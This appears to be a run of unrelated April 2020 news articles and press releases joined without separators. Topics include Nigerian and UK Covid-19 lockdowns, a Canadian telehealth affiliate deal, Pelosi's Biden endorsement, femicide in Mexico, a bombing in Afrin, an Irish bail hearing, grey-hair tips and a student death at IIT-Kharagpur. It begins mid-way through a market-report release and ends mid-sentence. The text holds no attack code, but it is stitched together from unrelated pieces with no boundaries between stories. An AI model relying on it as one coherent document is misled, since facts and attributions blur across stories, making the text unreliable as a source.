10: DRIVERS AND CHALLENGES Market drivers Market challenges PART 11: MARKET TRENDS Growing interest toward smart retail stores Increase in adoption of data center asset management Growing investment in smart factories PART 12: VENDOR LANDSCAPE Overview Landscape disruption PART 13: VENDOR ANALYSIS Vendors covered Vendor classification Market positioning of vendors Checkpoint Systems Inc. Fujitsu Ltd. RF Code, Inc. TIBCO Software Inc. Tyco Retail Solutions PART 14: APPENDIX Research methodology List of abbreviations Definition of market positioning of vendors PART 15: EXPLORE TECHNAVIO About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200427005639/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ Nigeria has extended strict lockdowns in Lagos and the capital Abuja for another week, after a wave of recent deaths raised fears of links to coronavirus. President Muhammadu Buhari announced a new two-week lockdown in the northern state of Kano, where doctors have reported a spike in fatal cases of pneumonia. The president promised a phased and gradual easing of restrictions from 4 May. The Nigerian newspaper The Daily Trust reported the mysterious recent deaths of around 150 people in Kano, prompting calls for an investigation into whether they were related to the coronavirus pandemic. The state government denied the claims, and said the pneumonia fatalities were caused by complications from hypertension, diabetes, meningitis and acute malaria and not Covid-19. Governor Abdullahi Umar Ganduje said health authorities were now looking into the deaths. The official number of coronavirus cases in Kano have risen to 77, putting it behind only Lagos and Abuja. There has been only one confirmed death from the virus in the northern state. Ibrahim Musa, a doctor working at a federal hospital in Kano, told The Guardian: Pneumonia cases have been rising but that is not being recorded as Covid-19 because they are not testing. The pattern emerging widely is that elderly people are dying more. It raises fears that outbreaks of the virus in Africa could be going undetected. The World Health Organisation (WHO) has warned that the continent could see as many as 10 million cases in three to six months a number which would overwhelm health services. On the Kano lockdown, Mr Buhari said: The federal government shall deploy all the necessary human, material and technical resources to support the state in controlling and containing the pandemic. It comes amid rising tension in Nigerias largest city Lagos, home to more than 20 million people, as dozens of people rioted near an oil refinery in protest at the restrictions on work and movement. Police arrested 51 people, according to local media reports. Four-week lockdowns in both Lagos and the federal capital territory of Abuja had been due to end on Monday before the president announced measures would continue for another week. Mr Buhari said he accepted the lockdowns had come at a very heavy economic cost, stripping many citizens of their livelihoods. No country can afford the full impact of a sustained lockdown while awaiting the development of vaccines, the president added promising a gradual easing of measures in Lagos and Abuja from Monday. Millions of Nigerias 200 million citizens live on daily wages, and the lockdown has left many without money to buy food. Confirmed cases of the new virus across Nigeria have roughly quadrupled since a lockdown extension was announced in mid-April. Most of the 1,273 cases and 40 deaths have been concentrated in Lagos and Abuja. New alliance with Tia Health provides MediaCentral's 6.5 million readers with access to medical doctors from the safety of their homes during COVID-19 and beyond MediaCentral monetizes 6.5 million audience via omnichannel affiliate plan Portion of profits will be donated to community-based health care in Toronto and Vancouver TORONTO, April 28, 2020 /PRNewswire/ - Media Central Corporation Inc. (CSE: FLYY, FSE: 3AT) ("MediaCentral" or the "Company") today announced that it will provide readers of its leading publications with access to a vast network of remote physicians throughout Canada. This initiative is being rolled out in association with Tia Health. Tia Health is one of Canada's largest providers of telehealth services through its network of thousands of medical doctors, servicing tens of thousands of patients per month. Services are provided free of charge with a valid health card in Ontario, Alberta, and British Columbia, and include: online appointments with Canadian medical doctors, prescriptions, referrals, requisitions, mental health support, on demand test requisitions and results, prescriptions and renewals delivered right to the door. According to a Statistics Canada report: "In 2017, 15.3% of Canadians aged 12 and older [roughly 5.6 million people] reported that they did not have a regular health care provider they see or talk to when they need care or advice for their health Overall, the proportion of Canadians reporting that they did not have a regular health care provider remained consistent with 2016 (15.8%)." Receiving timely access to quality healthcare is difficult in a regular environment; during a pandemic, its proving to be excruciating. In response to COVID-19 and in service to their readers, NOW Magazine ("NOW") and the Georgia Straight ("the Straight") - the Company's flagship titles - have increased omnichannel health and medical care coverage considerably. "Our alliance with Tia Health provides us with the ability to deliver relevant content, further our relationship with our readers and give back to the community during the COVID-19 pandemic," said Brian Kalish, CEO of MediaCentral. "We are very happy to be working with Tia Health in launching this program, which we expect will be the first of many other affiliate based ventures that allow us to leverage our omnichannel assets to engage with readers, and drive value for our advertising partners." Effective today, much of the health content provided by NOW and the Straight will include referral links or a call to action which directs readers to Tia Health. On Tia Health the Company's vast audience will be able to register for free remote medical assistance, when and where they need it. NOW and the Straight will collect an affiliate fee every time a reader or their family engages with one of Tia Health's remote services. A portion of MediaCentral's profits will be directed to community-based healthcare in Toronto and Vancouver. "We are extremely excited to be aligning with two of MediaCentral's benchmark publications to help provide Canadians access to the health care they so badly need during this time of crisis," said David Del Balso Co-founder and President of INSIG, Tia Health's parent company. "As thousands of doctors close their clinics in response to COVID-19, NOW and the Straight are providing a very valuable service in showing Canadians there are options for their care through telemedicine, with Tia Health." About Media Central Corporation Inc. Media Central Corporation Inc. (CSE: FLYY, FSE: 3AT) is an alternative media company situated to acquire and develop high-quality publishing assets starting with the recent acquisition of Vancouver Free Press Corp., the purchase of NOW Communications Inc. and the launch of digital cannabis platform CannCentral.com. MediaCentral is consolidating and digitally monetizing the over 100 million coveted and premium consumers of the approximately 100 alternative urban publications across North America, creating the most powerful audience of influencers. www.mediacentralcorp.com Instagram: @mediacentralcorp Twitter: @mediacentralc Facebook: Media Central Corp. About Vancouver Free Press Corp., Vancouver Free Press Corp., owns and operates Georgia Straight and straight.com. Established in 1967 as the news, lifestyle, and entertainment weekly in Vancouver, the Georgia Straight has been an integral part of the active urban West Coast lifestyle for over 50 years. Reaching over 56 million annual readers, every Thursday in print, and every day at straight.com, Georgia Straight delivers an award-winning editorial package of features, articles, and reviews. Regular coverage includes news, tech, arts, music, fashion, travel, health, cannabis, and food, plus Vancouver's most comprehensive listings of entertainment activities and special events. Vancouver Free Press Corp. is a wholly owned subsidiary of Media Central Corporation Inc. (CSE: FLYY, FSE: 3AT). www.straight.com Instagram: @georgiastraight Twitter: @georgiastraight Facebook: @georgiastraight About NOW Central Communications Inc. NOW Central owns and operates NOW Magazine and nowtoronto.com. Since 1981 NOW has been Toronto's news and entertainment voice, published in print every Thursday, and daily at nowtoronto.com. Reaching over 25 million annual readers, NOW has been a leading publication, defining and pioneering the independent and alternative voice for more than 38 years. NOW Central Communications Inc. is a wholly owned subsidiary of Media Central Corporation Inc. (CSE: FLYY, FSE: 3AT). www.nowtoronto.com Instagram: @nowtoronto Twitter: @nowtoronto Facebook: facebook.com/nowmagazine CAUTIONARY NOTE REGARDING FORWARD-LOOKING STATEMENTS Certain information in this news release constitutes forward-looking statements under applicable securities laws. Any statements that are contained in this news release that are not statements of historical fact may be deemed to be forward-looking statements. Forward looking statements are often identified by terms such as "may", "should", "anticipate", "expect", "potential", "believe", "intend" or the negative of these terms and similar expressions. Forward-looking statements in this news release may include, but are not limited to, statements with respect to internal expectations, expectations with respect to estimated margins, cost structures, and cost structures in the media industry. Forward-looking statements necessarily involve known and unknown risks, including, without limitation, risks associated with general economic conditions; adverse industry events; marketing costs; loss of markets; future legislative and regulatory developments involving; inability to access sufficient capital from internal and external sources, and/or inability to access sufficient capital on favourable terms; the media industry generally, income tax and regulatory matters; the ability of MediaCentral to implement its business strategies; competition; currency and interest rate fluctuations and other risks. Readers are cautioned that the foregoing list is not exhaustive and should carefully review the various risks and uncertainties identified in the Company's filings on SEDAR. Readers are further cautioned not to place undue reliance on forward-looking statements as there can be no assurance that the plans, intentions or expectations upon which they are placed will occur. Such information, although considered reasonable by management at the time of preparation, may prove to be incorrect and actual results may differ materially from those anticipated. The forward-looking statements included in this news release are made as of the date of this news release and the Company does not undertake an obligation to publicly update such forward-looking statements to reflect new information, subsequent events or otherwise unless required by applicable securities laws. Forward-looking statements contained in this news release are expressly qualified by this cautionary statement. SOURCE Media Central Corporation Inc. Source: Xinhua| 2020-04-27 23:45:31|Editor: huaxia Video Player Close "Joe Biden was a partner for progress in the White House." WASHINGTON, April 27 (Xinhua) -- U.S. House Speaker Nancy Pelosi on Monday endorsed former Vice President Joe Biden as the Democratic Party's presumptive presidential nominee. In a video released on Monday morning, Pelosi described Biden as a "voice of reason and resilience" amid the coronavirus pandemic. "When our nation faced the Great Recession, it was Joe Biden who led the implementation - and the accountability - of the Recovery Act, helping create and save millions of jobs. When the Democratic Congress was passing the Affordable Care Act, Joe Biden was a partner for progress in the White House and also championed the cancer moonshot," she said. Former U.S. Vice President Joe Biden speaks during a rally in Philadelphia May 18, 2019. (Xinhua/Liu Jie) Biden already has the formal support from former President Barack Obama, progressive leaders Bernie Sanders and Elizabeth Warren, and the party's two previous presidential nominees John Kerry and Al Gore. AP Almost one thousand women were murdered in Mexico in the first three months of the year, new figures show. T The news comes as campaigners warn the country is witnessing a rise in domestic abuse in the wake of the coronavirus emergency. Government figures show the number of women killed was eight per cent higher than in the same time period last year. At least 720 women were murdered in the first quarter of the year and 244 women were victims of femicide, the government said. Femicides, defined as the gender-motivated killing of women, are prevalent in Mexico and the femicide rate has more than doubled in the past five years. Campaigners are fearful troubling rates of violence could increase during the coronavirus lockdown which has seen measures extended until at least the end of May. Patricia Olamendi, a lawyer who represents victims of violence and has written protocols on femicide investigations, told Thomson Reuters Foundation: Its terrible. I think many more women could die because of violence than Covid in this period. There is a complete and absolute abandonment. What is happening in the country is inhumane. Ms Olamendi said the Mexican government has yet to release a plan to tackle the spike in domestic abuse amid the Covid-19 emergency. Martha Tagle, from the opposition Citizens Movement party, said: The deadliest pandemic for women in our country, more than the coronavirus, is feminicidal violence. Today, violence is the greatest threat to all the rights for women that we have had recognised with great effort. Calls and messages sent to the National Network of Shelters a network of almost 70 refuges for women who have suffered violence rose more than 80 per cent between mid-March and the middle of April when compared to the previous month. Jacqui Hunt, director of Equality Now, a non-government organisation (NGO) which aims to promote the rights of women and girls around the world, told The Independent: Mexico already suffers from high rates of domestic violence and femicide, with the majority of murder cases going unsolved and prosecution rates remaining dismally low. Now the Covid-19 pandemic is placing women and girls at heightened risk in a country already blighted by a plague of gender-based violence. Story continues The appalling increase in the number of women murdered in Mexico since the start of 2020 should be seized upon as a watershed moment in which the government finally steps up to address the root causes of harm against women. In its responses to Covid-19, the Mexican government must address the particular vulnerabilities of women and girls. Efforts to eradicate sexual and gender-based violence should be ramped up with strict enforcement and this should be accompanied by information campaigns that educate audiences and make clear that crimes will be investigated and offenders punished. Ms Hunt called for police authorities to work closely alongside organisations which help women and girls as well as urging the government to roll out additional state funding to make sure those locked up with their abusers can access safe housing and other specialist support. Violence against women and girls is a major problem in Mexico with official data reporting an average of 10 women were killed a day in Mexico in 2018. Some 44 per cent of women have suffered violence from a partner and 66 per cent of women have experienced some form of violence during their life, according to the Mexican Institute of Statistics and Geography. Additional reporting by Reuters Read more Domestic abuse killings appear to double during UKs lockdown ANKARA, Turkey - A fuel tanker exploded Tuesday in an attack on a northern Syrian town controlled by Turkish-backed opposition fighters, killing at least 40 civilians, Turkeys Defence Ministry said. The ministry tweeted that the attack took place in a crowded street in Afrin and the dead included 11 children. It said 47 people were wounded. Turkeys state news agency cited unnamed security officials who said the attack was believed to have been carried out by Syrian Kurdish fighters linked to Kurdish militants fighting Turkey. Turkey and allied Syrian fighters took control of Afrin in 2018 in a military operation that expelled local Kurdish fighters and displaced thousands of Kurdish residents. Ankara considers the Kurdish fighters who were in control of Afrin to be terrorists. Since then, there has been a series of attacks on Turkish targets in the area. The Britain-based Syrian Observatory for Human Rights, an opposition war monitor, said Tuesdays blast took place in a market and killed 36, including women and children, and wounded about 40 others. Syrian activists said the blast burned several people to death, including some who were stuck inside their vehicles. In a hospital yard, 10 charred bodies were covered with blankets next to ambulances. In an ambulance nearby, two charred bodies were inside, according to videos and photos circulated by activists. The blast set several cars and shops on fire and tanker trucks were used to fight the blaze. Similar blasts in areas controlled by Turkey-backed opposition fighters have killed scores of people in recent months, attacks that Ankara blames on Kurdish fighters. Turkey supports the Syrian opposition in the war against President Bashar Assad but has joined with Russia to secure and monitor local cease-fires. Activist collectives in northern Syria urged people in the Afrin area to head to hospitals and donate blood. The Observatory and other activists said the death toll could rise because some of the wounded were in critical condition. ____ Associated Press writer Bassem Mroue contributed to this report from Beirut. London , April 28 : A minute's silence was observed across the UK as a tribute to frontline workers who have died in the country's fight against the coronavirus pandemic. Prime Minister Boris Johnson, who returned to work on Monday, joined the tribute that started at 11 a.m. (local time), the BBC reported. More than 100 NHS and care staff have died with the virus, as have many transport and other key workers. The UK has so far reported 158,348 coronavirus cases, with 21,092 deaths. Among the 360 new deaths reported on Monday, there were 82 National Health Service (NHS) staff and 16 care workers. The Archbishop of York John Sentanu, who was among those inviting people to take part in the minute's silence, said: "Workers should not be sent into danger without the correct personal protective equipment (PPE)." He also called for those on the frontline to be "given all the safety equipment they need". NHS England medical director Stephen Powis said the silence would ensure the health workers' "contribution is remembered and appreciated". Chief nursing officer Ruth May added: "Every death is a tragedy but we feel the loss of fellow health and care workers particularly keenly." A flag was flown at half mast at Lancashire Teaching Hospitals NHS Foundation Trust, which was among many medical venues around the country where staff will pause to pay their respects to their colleagues, the BBC reported. Donna Kinnair, chief executive and general secretary of the Royal College of Nursing, said the minute's silence would "bring together a sombre but grateful nation". Tuesday's development comes as the son of a doctor who died called on the government to issue a public apology for issues with PPE. Intisar Chowdhury told the BBC that he wanted ministers "to accept their mistakes and let their mistakes become improvement rather than just ignore them and completely move on". The 18-year-old also asked the government to make private apologies to the families of health and care workers affected. Intisar's father, Abdul Mabud Chowdhury, 53, who died earlier this month, had warned Prime Minister Johnson about a lack of PPE five days before being hospitalised. Health Secretary Matt Hancock was also asked by Intisar Chowdhury to apologise. With celebrities across the world embracing their grey hair, hairstylists explain how to flaunt your own silver tresses Gone are the days when going grey used to be an embarrassing sign of ageing and celebrities paying fortunes to hide them from the world. With the ongoing worldwide lockdown preventing celebs from seeing their hairstylists, many actors have used this opportunity to stay natural and embrace their greys. Recently, Karan Johar took to his Instagram account and uploaded a selfie flaunting his grey hair. The filmmaker confessed that his daughter Ruhi called him buddha and pointed out that he has white hair on the camera. KJo captioned the story, Black white and grey. Akshay Kumar too has been uploading short videos to express his gratitude to the frontline workers who are battling Covid-19 every day, and his natural hair is visible to all. With more and more celebrities across the world embracing their greys, the au naturel look has become a fashionable hair trend in itself. And while hairstylists too believe that its better to accept your grey hair, they warn that it needs extra maintenance. It is hard to take care of grey hair over coloured hair. With coloured hair, you can go to a salon and get a touch-up and you are good, but grey hair needs timely care, says hairstylist Khushi Adaniya, who also suggests keeping your hair moisturised with serum. First of all, have confidence that you can embrace your natural self. Use good serum after washing and conditioning your hair, it will keep your hair moisturised for the entire day, she advises. In the past, celebrities like Ileana DCruz, Jacqueline Fernandez, Dimple Kapadia, Ratna Pathak, and Milind Soman too have gone out with their salt and pepper hair on display. Even Hollywood celebrities like Brad Pitt, George Clooney, Sarah Silverman, Chrissy Teigen, Jessica Biel and Katie Holmes have embraced their silver tresses. USA-based celebrity hairstylist Danielle Keasling explains that embracing greys is as good as dressing for an occasion, and you need a particular type of accessories and makeup to match it. Use the right shampoo for grey hair and talk to your stylist because he is aware of your hair texture. For women, they can just keep their whites open and long or a messy bun too will look good on them, suggests the stylist. Melroy Dickson, General Manager, Education, Matrix India, warns that the unrelenting Indian summer demands that extra attention be paid to your hair. With some extra care, you can sail through the humidity and restore your beautiful silver hair. While the harsh Indian summers are known to make your hair parched, the correct hair care routine will keep your greys healthy, nourished, and beautiful. Follow a simple hair routine and dont over-complicate it with multiple products. Wash away all the excess oil and sweat with a good cleansing shampoo and your natural hair is ready to flaunt, he suggests, adding that using a serum will help protect your grey hair from humidity and frizz. It will leave you with shiny and manageable hair. While youre at it, dont forget to get your daily intake of that much-needed H20, he says in conclusion. Gardai were in genuine fear for their lives last Friday night in what a local Sergeant has described as the most frightening experience he has ever had as a guard. Sgt David Bunn and Gda Brian Carroll had to put out an urgent call for assistance from the Armed Support Unit while conducting a planned search operation at a property in Lisnanagh, Edgeworthstown. When Sgt Bunn and Gda Carroll were approaching the residence, they observed a man discarding a package into a ditch. The item was later seized and revealed to be a taser. As gardai were apprehending the man, a large number of family members arrived at the scene and advanced on them, assaulting Gda Carroll, who sustained facial injuries. If we didnt call for assistance, I was very afraid of what would happen - nobody would have known we were there, Sgt Bunn told Longford District Court on Tuesday. Three people have so far appeared in court in connection with the violent incident. A man appeared before Judge Seamus Hughes at Mullingar District Court on Monday and was remanded in custody until Friday, May 1. Two more members of the family, Pierre and Chantelle Stokes, appeared before Judge Hughes at Longford District Court today (Tuesday) and were also remanded in custody to Friday, May 1, and Tuesday, May 5, respectively. On Friday, April 24, at 9pm, Gda Carroll and Sgt Bunn were assisting in a number of searches in the area, Sgt Bunn explained while giving evidence. En route, we spoke to Chantelle Stokes. There was a male with her who discarded an item in the ditch, which we later discovered was a taser. We attempted to arrest him, he said. When gardai tried to apprehend the man, Sgt Bunn explained that a member of the Stokes family was recording the arrest on a phone, which was subsequently seized by Gda Carroll. They all came out of the house - the family and the extended family and demanded that we let the man we had arrested go and that we give the phone back. When they lined up along the road, there were approximately 15 of them - four males, a large number of females and children, Sgt Bunn continued. We had to go back to the car to look for assistance. At that stage, I was in fear for what was going to happen. Id asked Garda Carroll to give back the phone. They all kept advancing on us. We couldnt use protective items. We were too afraid theyd be used on us. If we didnt call for assistance, I was very afraid of what would happen - nobody would have known we were there. It was the most frightening experience Ive ever had as a guard. Gda Carroll received a punch to the side of the face from a male and was struck again by another male, the court heard, and is unable to work as a result. There were also threats made to Gda Carroll during the incident. I was afraid of the violence I believed was going to be used. Luckily, the Armed Support Unit arrived and they dispersed, said Sgt Bunn, explaining that the Armed Support arrived in two vehicles with between six and eight members. Detective Sergeant Keelan Brennan told the court that the Armed Support Unit returned to the property on Monday, April 27 and were unable to gain immediate access. The gate was closed and chained and we had to use a consaw to gain access to the premises, Det Sgt Brennan explained, adding that immediate access to the property for gardai was a bail condition which had been put in place. We got in using a consaw, which took some time. It took approximately two minutes and there were no efforts made to assist gardai. Mother of the two accused, Margaret Stokes, told the court that the gate was locked due to threats on her husbands life, and challenged the gardai to watch the video that was taken before the phone was seized as evidence. He could turn that on and itll show Pierre being cable tied. On that camera, theyd be seen assaulting my son, kicking him. And my daughter was shoved and shes six months pregnant, Ms Stokes said. In mitigation, solicitor for the defence, Brid Mimnagh, explained that both the accused were young people who did not have bad records. Pierre and Chantelle were voluntarily available. Neither of these young people was aggressive. Theyd have gone voluntarily if they were allowed to do so. Chantelle has no previous convictions. Pierre, in the last five years since the incident with the dog, hasnt come to the attention of gardai, she explained. The incident with the dog was in April 2015 when a search was taking place on a Friday evening. A number of gardai went out to effect arrest. Two dogs were held up against them and they threatened to let the dogs attack and kill them. It was a very frightening experience, Det Sgt Brennan explained for the benefit of the court. Having heard the evidence, Judge Hughes decided to refuse bail to both the accused. Immediate access to the premises is never put in a bail condition, but it was for them. This is a very finely balanced application for bail. They have no previous. Their brother was searched and found to be in possession of a taser. Gardai sought to arrest him and that arrest was interfered with by 15 members of the family. A garda with 16 years of experience was visibly upset. They felt their lives were under threat. In fact, a garda was assaulted, he said. Yesterday, I heard a bail application in Mullingar and I refused bail. And Im going to be consistent and refuse bail. Theres a norm that has crept in here where there is a requirement for the Armed Support Unit for these families. Pierre Stokes has been remanded in custody to Friday, May 1, while Chantelle Stokes will reappear at next Tuesdays sitting of Longford District Court on May 5. Read more: Garda receives facial injuries in vicious assault during search operation in Edgeworthstown Senator Andreas Borgeas View Photo Sacramento, CA As state leaders grapple with how to allow Californias economy to reopen, Mother Lode Senator Andreas Borgeas has detailed five proposed steps. It is the focus of a new myMotherLode.com blog. He writes about legislation to help businesses survive, the desire to give local governments authority to do a phased reopening, proposed workplace flexibility and increasing water allocations for agriculture producers. Find the blog by clicking here. Downing Street has poured cold water on the prospect of any relaxation of social distancing measures this week, insisting 7 May remains the date for a review of the lockdown. Boris Johnsons promise yesterday that he would set out his thinking on refining economic and social restrictions in the coming days raised hopes of a step back towards normal life by the end of the week. But his official spokesman today told reporters that there was no question of lifting restrictions before meeting the governments five tests - the NHS being able to cope; a sustained fall in deaths; a drop in infections to manageable levels; sufficient testing capacity and protective equipment; and no risk of a second peak. And he added: I dont think we are suggesting for a moment that the five tests are met. The governments Scientific Advisory Group on Emergencies (Sage) is meeting today to consider progress in the battle against coronavirus, with a further meeting ahead of cabinet on Thursday. Silence for key workers who lost lives to coronavirus Show all 30 1 /30 Silence for key workers who lost lives to coronavirus Silence for key workers who lost lives to coronavirus Staff react outside Salford Royal Hospital in Manchester during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Silence for key workers who lost lives to coronavirus Staff inside Camberwell bus depot in London, during a minute's silence PA Silence for key workers who lost lives to coronavirus NHS staff at the Mater hospital in Belfast, during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak. PA Silence for key workers who lost lives to coronavirus Shoppers observe a minute's silence in Tescos in Shoreham Getty Silence for key workers who lost lives to coronavirus Firefighters outside Godstone fire station PA Silence for key workers who lost lives to coronavirus Salford Royal Hospital Getty Silence for key workers who lost lives to coronavirus Salford Royal Hospital PA Silence for key workers who lost lives to coronavirus Hospital workers take part in a protest calling on the British government to provide PPE across Britain for all workers in care, the NHS and other vital public services after a nationwide minute's silence at University College Hospital in London AP Silence for key workers who lost lives to coronavirus A school children's poster hanging outside Glenfield Hospital during a minute's silence Getty Silence for key workers who lost lives to coronavirus A man holds a placard that reads "People's health before profit" outside St Thomas hospital Getty Silence for key workers who lost lives to coronavirus Staff members applaud outside the Royal Derby Hospital, following a minute's silence PA Silence for key workers who lost lives to coronavirus Cabinet Secretary Mark Sedwill, Prime minister Boris Johnson and Chancellor of the Exchequer Rishi Sunak, stand inside 10 Downing Street, London, to observe a minutes silence in tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Silence for key workers who lost lives to coronavirus University College Hospital, London Hospital workers hold placards with the names of their colleagues who have died from coronavirus as they take part in a protest calling on the British government to provide PPE AP Silence for key workers who lost lives to coronavirus Staff at Waterloo Station in London, stand to observe a minute's silence, to pay tribute to NHS and key workers who have died with coronavirus AP Silence for key workers who lost lives to coronavirus Medical staff at the Louisa Jordan hospital stand during a UK wide minutes silence to commemorate the key workers who have died with coronavirus in Glasgow Getty Silence for key workers who lost lives to coronavirus London An NHS worker observes a minute's silence at Chelsea and Westminster Hospital Reuters Silence for key workers who lost lives to coronavirus Chelsea and Westminster Hospital in London AFP via Getty Silence for key workers who lost lives to coronavirus Belfast, Northern Ireland NHS staff observe a minutes silence at Mater Infirmorum Hospital Reuters Silence for key workers who lost lives to coronavirus Plymouth NHS workers hold a minute's silence outside the main entrance of Derriford Hospital Getty Silence for key workers who lost lives to coronavirus NHS Frimley Park Hospital staff at the A&E department observe a minute's silence Getty Silence for key workers who lost lives to coronavirus Mater Infirmorum Hospital People applaud after a minutes silence in honour of key workers Reuters Silence for key workers who lost lives to coronavirus Waterloo Station, London AP Silence for key workers who lost lives to coronavirus Wreaths laid outside Sheffield town hall PA Silence for key workers who lost lives to coronavirus A group of trade unionists and supporters standing outside Sheffield town hall PA Silence for key workers who lost lives to coronavirus First Minister Nicola Sturgeon stands outside St Andrew's House in Edinburgh to observe a minute's silence in tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Silence for key workers who lost lives to coronavirus Staff stand outside the Royal Derby Hospital, during a minutes silence PA Silence for key workers who lost lives to coronavirus London Police officers observe a minutes silence at Guy's Hospital Reuters Silence for key workers who lost lives to coronavirus A woman standing outside Sheffield town hall PA Silence for key workers who lost lives to coronavirus Royal Derby Hospital PA Silence for key workers who lost lives to coronavirus Leicester, NHS workers during a minute's silence outside Glenfield Hospital Getty It is expected that Sage will publish the evidence on which it bases its recommendations to ministers by the end of the week. Ministers are expected to decide shortly on advice from Sage that scarves and home-made face coverings could help reduce the spread of coronavirus in workplaces and public transport. But it is not thought that ministers will be asked to approve any easing of the lockdown at Thursdays meeting. The 360 Covid-19 deaths in British hospitals reported on Monday were the lowest since 30 March, with figures showing a 16 per cent decrease in coronavirus patients in UK hospitals compared to the previous week. But chief medical officer Chris Whitty warned there was a very long way to go before the virus was beaten. Asked about speculation that Mr Johnson might this week announce measures such as the reopening of non-essential shops or workplaces where two-metre distancing can be maintained, the PMs spokesman said: We have set out that we will review social distancing measures by 7 May and the government is focused on that date. Boris Johnson and Rishi Sunak observe the minute's silence for frontline workers in Downing Street (PA) We are not at the point of wanting to change the social distancing measures which we have in place. In order to do that, we will have to have met the five tests. The spokesman said that ministers arent prepared to risk a second peak that would be bad for public health and bad for the economy. Any increase in the rate of reprodution of the infection above 1 - meaning each infected person infects one other person - would mean a return to "exponential" growth of coronavirus in the community, he warned. Currently, the rate, known as R, is believed to be between 0.5 and 1, setting the scene for the outbreak being reduced and eventually brought under control. On his second day back at work after recovering from coronavirus, Mr Johnson chaired the daily war cabinet at 10 Downing Street before taking part with chancellor Rishi Sunak in the one-minute silence for workers killed by Covid-19. The PMs spokesman said Mr Johnson was feeling fine and was getting on with the coronavirus response but was unable to say whether he would be taking part in the regular weekly session of prime ministers questions in the House of Commons on Wednesday. First secretary of state Dominic Raab stood in for the PM last week while he continued his recuperation at Chequers. The government is facing a deadline on Thursday for meeting health secretary Matt Hancocks target of 100,000 daily tests, though delays in delivering results may mean it is not clear until early next week whether the milestone has been reached. Within an hour of 10,000 home testing kits being made available this morning, some 7,000 were snapped up, while 22,000 of the 26,000 slots available at drive-through testing centres were booked. Downing Street believes the testing programme has contributed to a fall in absences among NHS England frontline staff since 4 April, which has seen the proportion of doctors away from work drop from 7.3 per cent to 3.6 per cent and nurses from 9.5 per cent to 6.6 per cent. The passengers are to check on Tuesday in at a hotel in the Red Sea resort city selected by authorities where they will spend 14 days in quarantine A special flight operated by Air Cairo to bring stranded Egyptians back home from Indonesia and Oman amid the coronavirus pandemic landed in Egypts Marsa Alam on Tuesday. The Red Sea resort citys airport received 148 repatriated Egyptian passengers from Indonesias Bali and Jakarta and Oman's Muscat, according to a Civil aviation source. The passengers are to check in at a hotel in the Red Sea resort city selected by authorities where they will spend 14 days in quarantine. The government is requiring returnees to sign before boarding their flights a written acknowledgement that they agree to be quarantined. The repatriated Egyptians will bear the cost of the hotel quarantine, estimated at a minimum of EGP 10,500 ($666.7), despite a previous decision by the state to cover the cost of the stay. Egypt began repatriating its citizens in March, bringing back hundreds of its nationals stranded in various countries due to the pandemic. The country is keeping its airspace open to inbound charter and special flights to transport outbound passengers, and to cargo and domestic flights, during the suspension of air traffic that has been in place since mid-March. Egyptian President Abdel-Fattah El-Sisi stressed last week that Egypt is committed to repatriating an estimated 3,500 Egyptians stranded abroad at the earliest opportunity. Search Keywords: Short link: The body of a 31- year-old research scholar of IIT-Kharagpur was found hanging in his hostel room, police said on Tuesday. The body of Bhavanibhatla Kondal Rao was found in his room on the second floor of the B R Ambedkar Hall around 10 am on Monday, they said. Unable to contact him over the phone, his parents informed other inmates of the hostel. They found Rao's room to be locked from inside and after repeated knocking when he did not open the door, they informed police, an official said. The police then rushed to the hostel and broke open the door, finding the body to be hanging, he said. Rao, a resident of Vijayawada in Andhra Pradesh, was a research scholar in the Department of Mechanical Engineering. He got married in February at his hometown and after staying there with his family for around two weeks, he returned to the campus before the lockdown begun, according to district police sources. His wife is currently in Chennai where she is working, they said. IIT-Kharagpur director V K Tewari, who described Rao as a "bright young scholar", said the institute has got in touch with his family. He said Rao is suspected to have committed suicide and the matter is being investigated. Police said the body has been sent for post-mortem examination and the reason behind the incident is being probed. Very few students are currently on the campus as most of them returned home before the lockdown was imposed. Rao, who joined the Indian Institute of Technology- Kharagpur in 2015, was on the verge of completing his research project, his friends said. They remembered him as a jovial person and popular among students and faculty members. Some of them said that he was under some sort of mental stress but didn't share it with anyone Following Rao's death, the director, in a Facebook post, urged students to connect with friends who need support. "Look beyond the hurdles which at present may seem like the most critical chapter of your life but are mere speed-breakers if you are able to envision your life in the long run," he said. "Try to reach out to us, your faculty supervisors, the counselling centre and your peers. Talk to your friends and family, your seniors, your juniors, they are only a tap away from your phone in this century and at this time," Tewari said in his post. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) PARIS Beijings not backing down. China is pushing ahead with a propaganda campaign critical of Western democracies and their handling of the coronavirus, even after protests from Paris and a high-profile diplomatic dispute between Beijing and the EU over Chinese disinformation. Two weeks after French Foreign Minister Jean-Yves Le Drian summoned China's ambassador to France, Lu Shaye, over the embassy's publication of a post that derided France's care for its senior citizens during the pandemic, another critical post was published Sunday on the diplomatic mission's website. The article, entitled "Why the Covid-19 epidemic is so politicized," was attributed to an anonymous Chinese diplomat. Seeking to explain why questions have been asked about China's responsibility in the spread of the virus, the article said "some Westerners are beginning to lose confidence in liberal democracy," and "some [Western countries] have become psychologically weak." The article appeared on the same day that German officials disclosed that Chinese diplomats had tried to get Germany to speak positively about China's handling of the coronavirus. The two cases are the latest in a string of efforts widely seen as intended to deflect criticism of China's handling of the outbreak in the city of Wuhan, promote images of China providing assistance to other countries struggling with the pandemic and raise questions about Western democracy. However, the tension over Chinese propaganda efforts has also highlighted a dilemma faced by European leaders while they may be vexed by Beijing's attempts to influence their own citizens, they are also heavily dependent on China for masks and other medical supplies to fight the pandemic, and will also need China's economic muscle to help pull the Continent out of a deep recession. "China considers Europe the soft belly of the West," said Antoine Bondaz, a research fellow at the Paris-based Foundation for Strategic Research think tank who is focused on China. "In their logic, there is the West, and in it the U.S. that will oppose China for structural and 